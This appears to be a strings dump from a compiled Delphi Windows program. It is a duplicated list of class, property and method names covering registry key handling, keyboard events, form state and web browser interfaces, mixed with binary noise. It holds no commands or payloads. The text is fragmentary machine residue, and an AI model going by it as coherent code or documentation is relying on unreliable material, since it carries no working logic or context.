HKEY

HKEY

TWMKey

TWMKey

KeyData

KeyData

grfLocksSupported

grfLocksSupported

ENoMonitorSupportException

ENoMonitorSupportException

.uvCOu

.uvCOu

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

etNoMonitorSupportException

etNoMonitorSupportException

Operator

Operator

EVariantBadIndexError

EVariantBadIndexError

ssShift

ssShift

htKeyword

htKeyword

EInvalidOperation

EInvalidOperation

TList.TDirection

TList.TDirection

AOperator

AOperator

TThread.TSynchronizeRecord

TThread.TSynchronizeRecord

TOperation

TOperation

Operation

Operation

FOnExecute

FOnExecute

OnExecute

OnExecute

TList.Sort$ActRec

TList.Sort$ActRec

TComponent.FindComponent$ActRec

TComponent.FindComponent$ActRec

TComponent.FindComponent$ActRec` D

TComponent.FindComponent$ActRec` D

Uh

Uh

PhL%D

PhL%D

HelpKeyword

HelpKeyword

UnderstandsKeyword

UnderstandsKeyword

TRegKeyInfo

TRegKeyInfo

NumSubKeys

NumSubKeys

MaxSubKeyLen

MaxSubKeyLen

FCurrentKey

FCurrentKey

FRootKey

FRootKey

FCloseRootKey

FCloseRootKey

CloseKey

CloseKey

CreateKey

CreateKey

DeleteKey

DeleteKey

GetKeyInfo

GetKeyInfo

GetKeyNames

GetKeyNames

HasSubKeys

HasSubKeys

KeyExists

KeyExists

LoadKey

LoadKey

MoveKey

MoveKey

OpenKey

OpenKey

OpenKeyReadOnly

OpenKeyReadOnly

ReplaceKey

ReplaceKey

RestoreKey

RestoreKey

SaveKey

SaveKey

UnLoadKey

UnLoadKey

CurrentKey@

CurrentKey@

LastErrorMsg

LastErrorMsg

RootKey@

RootKey@

RootKeyName

RootKeyName

EInvalidGraphicOperation

EInvalidGraphicOperation

SupportsPartialTransparency

SupportsPartialTransparency

SupportsClipboardFormat

SupportsClipboardFormat

Monochrome

Monochrome

TCustomButton.TButtonStyle

TCustomButton.TButtonStyle

OnKeyDown

OnKeyDown

OnKeyPress4IG

OnKeyPress4IG

OnKeyUp

OnKeyUp

poPortrait

poPortrait

APort

APort

Port

Port

FAutoHotkeys

FAutoHotkeys

RethinkHotkeys

RethinkHotkeys

AutoHotkeysdrF

AutoHotkeysdrF

IsShortCut

IsShortCut

AutoHotkeys

AutoHotkeys

igoParentPassthrough

igoParentPassthrough

FAlwaysShowDragImages

FAlwaysShowDragImages

AlwaysShowDragImages

AlwaysShowDragImages

toFlickFallbackKeys

toFlickFallbackKeys

'TCustomGestureEngine.TGestureEngineFlag

'TCustomGestureEngine.TGestureEngineFlag

(TCustomGestureEngine.TGestureEngineFlags

(TCustomGestureEngine.TGestureEngineFlags

Supported

Supported

TKeyEvent

TKeyEvent

TKeyPressEvent

TKeyPressEvent

FHelpKeyword

FHelpKeyword

HelpKeyword@

HelpKeyword@

FOnKeyDown

FOnKeyDown

FOnKeyPress

FOnKeyPress

FOnKeyUp

FOnKeyUp

IsHintMsg

IsHintMsg

FNativeWheelSupport

FNativeWheelSupport

FWheelSupportMessage

FWheelSupportMessage

thHeaderItemLeftPressed

thHeaderItemLeftPressed

tsArrowBtnLeftPressed

tsArrowBtnLeftPressed

ttbThumbLeftPressed

ttbThumbLeftPressed

lrMonoChrome

lrMonoChrome

HelpKeyword`

HelpKeyword`

ssHotTrack

ssHotTrack

TWindowState

TWindowState

poProportional

poProportional

fsShowing

fsShowing

FWindowState

FWindowState

FKeyPreview

FKeyPreview

WantChildKey

WantChildKey

KeyPreview

KeyPreview

WindowState

WindowState

FBiDiKeyboard

FBiDiKeyboard

FNonBiDiKeyboard

FNonBiDiKeyboard

FEnumAllWindowsOnActivateHint

FEnumAllWindowsOnActivateHint

FOnActionExecute

FOnActionExecute

Keyword

Keyword

EnumAllWindowsOnActivateHint@

EnumAllWindowsOnActivateHint@

BiDiKeyboard@

BiDiKeyboard@

NonBiDiKeyboard

NonBiDiKeyboard

OnActionExecutep

OnActionExecutep

LicenseKey

LicenseKey

Uh.rK

Uh.rK

IWebBrowser

IWebBrowser

IWebBrowserApp

IWebBrowserApp

IWebBrowser2

IWebBrowser2